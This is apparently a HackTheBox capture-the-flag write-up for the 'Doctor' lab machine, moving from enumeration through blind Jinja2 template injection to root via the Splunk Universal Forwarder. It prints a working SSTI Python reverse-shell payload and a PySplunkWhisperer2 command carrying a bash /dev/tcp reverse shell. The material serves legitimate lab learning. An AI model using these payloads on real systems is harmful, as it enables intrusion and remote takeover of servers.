HackTheBox - Doctor

HackTheBox - Doctor

Doctor is an easy difficulty Windows machine from HackTheBox that features a Flask web application which is vulnerable to blind Server-Side Template Injection. I’m able to gain a foothold using the SSTI vulnerability. Enumerating on the Apache log files discovers a user’s password. The user credentials are work on the Splunk Universal Forwarder service, which can be exploited to gain root access using PySplunkWhisperer2.

Skills Learned

  • Server Side Template Injection
  • Splunk UF Exploitation

Tools

Reconnaissance

Nmap

An initial scan discovers three open ports: SSH on port 22, HTTP server on port 80, and a Splunk daemon on port 8089 backed with HTTPS.

→ root@kali «exploits» «10.10.14.3»
$ mkdir nmap; nmap -sC -sV -oN nmap/initial-doctor '10.10.10.209'
Nmap scan report for 10.10.10.209
Host is up (0.055s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after:  2023-09-06T15:57:27
| MD5:   db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
|_SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

TCP 80 - Website

This page shows a kind of health service website called “Doctor” in the title.

image-20210509010426119

Gobuster

URL brute force with gobuster didn’t find any interesting results.

/images               (Status: 301) [Size: 313] [--> http://10.10.10.209/images/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.10.209/js/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.10.209/css/]
/contact.html         (Status: 200) [Size: 19848]
/blog.html            (Status: 200) [Size: 19848]
/about.html           (Status: 200) [Size: 19848]
/index.html           (Status: 200) [Size: 19848]
/services.html        (Status: 200) [Size: 19848]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.10.209/fonts/]
/departments.html     (Status: 200) [Size: 19848]
/server-status        (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 19848]

TCP 80 - doctors.htb

Because adding a machine name with “.htb” as TLD to /etc/hosts file has become my habit (i.e doctor.htb), so at first, on the homepage, I didn’t notice that there is an additional “s” on info@doctors.htb.

image-20210509011106327

Once I added doctors.htb to my /etc/hosts file, I refreshed the page with that hostname, and it presented a different web application.

image-20210509011333267

In the page source, I found a comment telling that the archive feature is still in beta testing, so I’ll note this.

image-20210509013716799

Gobuster

I ran another gobuster scan, but it seems I’ll just register an account this time.

/logout               (Status: 302) [Size: 217] [--> http://doctors.htb/home]
/register             (Status: 200) [Size: 4493]
/login                (Status: 200) [Size: 4204]
/home                 (Status: 302) [Size: 245] [--> http://doctors.htb/login?next=%2Fhome]
/archive              (Status: 200) [Size: 101]
/account              (Status: 302) [Size: 251] [--> http://doctors.htb/login?next=%2Faccount]
/server-status        (Status: 403) [Size: 276]

My account is only available for 20 minutes.

image-20210509014205880

The “1” icon was actually a page number with URL that points to http://doctors.htb/home?page=1.

TCP 8089  —  Splunk Universal Forwarder

I can visit the Splunk UF on port 8089 through the browser after adding HTTPS to the URL and accepting the SSL certificate warning.

At the top, I can see the Splunk version.

image-20210509014443695

Finding vulnerability

Knowing the version, I did a quick search on Google to look for available exploits, and I came across hackbooktriks.xyz

The original research was published in here:

But it requires credentials. I’ll just add this to my to do list.

Foothold

Shell as web

SQL Injection - Failed

I can create a post message on doctors.htb by visiting http://doctors.htb/post/new. Below is the example request

POST /post/new HTTP/1.1
Host: doctors.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://doctors.htb/post/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Connection: close
Cookie: session=.eJwlzj0OwjAMQOG7eGZI7MSJe5kq_hOsLZ0Qd6cS69Mbvg_secT5hO19XPGA_eWwQRMSDJdkRrMYOFNNMZvRdM5gth6jkLulV3JtOS1EFOsQGlNMDDXW_VN37GFzmbaGrWhiFq-r91aVlGWsdMV1ByYeZfJShBtynXH8NQjfH00QMJk.YBo8Bw.h165pwEGvKjGaPS-d3RiIO-xe34
Upgrade-Insecure-Requests: 1

title=test&content=test&submit=Post

I fed the request to SQLMap, but it doesn’t seem injectable.

And then I looked into Wapplyzerーa web plugin that can be used to identify the technology stacks behind a websiteー, and it shows thatdoctors.htb uses Flask as its backend.

136d4a7725d44c5a9de3b53bd18bfdb9

Server Side Template Injection (SSTI)

Web applications that use Python Flask are typically run with a templating engine such as Jinja. On every templating engine, SSTI can occur when an un-sanitized user input is passed directly into the application templating process.

PwnFunction’s video on SSTI was very informative.

If you want to get some hands-on, TryHackMe also has a room called “Flask” that contains a few examples of SSTI attack on Flask.

Here is the methodology to detect SSTI (taken from here):

SSTI cheatsheet workflow

http://doctors.htb/home?page=1 is the first attack vector to target. I used a tool called Tplmap.py to automatically detect SSTI, but no luck.

→ root@kali «exploits» «10.10.14.3»
$ python tplmap.py -u 'http://doctors.htb/home?page=iamf'                             
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'page' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
...<SNIP>...
[+] Ruby plugin is testing blind injection
[+] Ejs plugin is testing rendering with tag '*'
[+] Ejs plugin is testing blind injection
[!][checks] Tested parameters appear to be not injectable.

The second attack vector is http://doctors.htb/post/new, which allows me to create a post message. It consists of two input vectors: the title and the content/message.

image-20210509023608857

I copied the basic SSTI payloads for Jinja2 from PayloadAllTheThings to the post content, but it doesn’t return the expected result.

image-20210509024048415

It also returns nothing when I submit the payloads on the title.

After hours trying to figure out why it didn’t work, I noticed that the /archive page occasionally returns an error when I put some payload that has the percentage symbol, like {% payload %}, on the content/message section.

image-20210509024504730

Or sometimes it only has the post title that can be seen only from the page source.

image-20210509024707956

So from there, I submitted the basic payload on the title.

image-20210509025456790

Right after inserting the payload, I checked the page source of /archive, and I found the expected result of the SSTI payload there.

image-20210509025854497

Reverse Shell

The cheat-sheet from PayloadAllTheThings also contains a pre-crafted payload to get a reverse shell. All I have to do now is replace the IP address with mine and have my nc listener listening on the port I specified.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.4\",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")}}{%endif%}{% endfor %}

I have an interactive shell now.

→ root@kali «doctor» «10.10.14.3» 
$ nc -nvlp 9000            
listening on [any] 9000 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.209] 5628
/bin/sh: 0: can’t access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)

Privilege Escalation

Shell as shaun

Internal Enumeration

These are the users who have login shells.

web@doctor:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001:,,,:/home/web:/bin/bash
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash

Because web is a member of the adm group, I can read the log files at /var/log. While enumerating with find command, I caught an Apache2 log called “backup”.

web@doctor:~$ find / -type f -readable -group adm 2>/dev/null
/var/log/kern.log.3.gz
/var/log/auth.log
/var/log/syslog
/var/log/ufw.log.2.gz
/var/log/dmesg.2.gz
/var/log/auth.log.1
...<SNIP>...
/var/log/apache2/backup

Searching string “pass” on the backup log reveals this line.

web@doctor:/var/log/apache2$ cat backup | grep pass
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

It printed as email=Guitar123, but it doesn’t look like an email to me.

SU - shaun

It turns out that Guitar123 is shaun’s password.

web@doctor:/var/log/apache2$ su shaun
Password: Guitar123
web@doctor:/var/log/apache2$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)

User flag is done here.

Shell as root

Exploiting Splunk with PySplunkWhisperer2

I’ll recall the Splunk Forwarder, which by BookHackTrick is categorized as a privilege escalation vector.

The researcher stated that the Splunk UF agent’s username is always admin.

Universal Forwarder is accessible on each host at https://host:8089. Accessing any of the protected API calls, such as /service/ pops up a Basic authentication box. The username is always admin, and the password default used to be changeme until 2016 …

But that’s not the case on this machine, because I can use shaun:Guitar123 to authenticate to the Splunk UF services on port 8089.

I tried this PoC from GitHub using the bash reverse shell as payload,

→ root@kali «exploits» «10.10.14.3»
$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.3/9001 0>&1'" --lhost 10.10.14.3
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpkwnss3rw.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.3:8181/
10.10.10.209 - - [03/Feb/2021 05:09:23] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

and it worked smoothly.

→ root@kali «doctor» «10.10.14.3» 
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.209] 48834
bash: cannot set terminal process group (1137): Inappropriate ioctl for device
bash: no job control in this shell
root@doctor:/# id
id
uid=0(root) gid=0(root) groups=0(root)

I can grab the root flag.

image-20210509042058603

References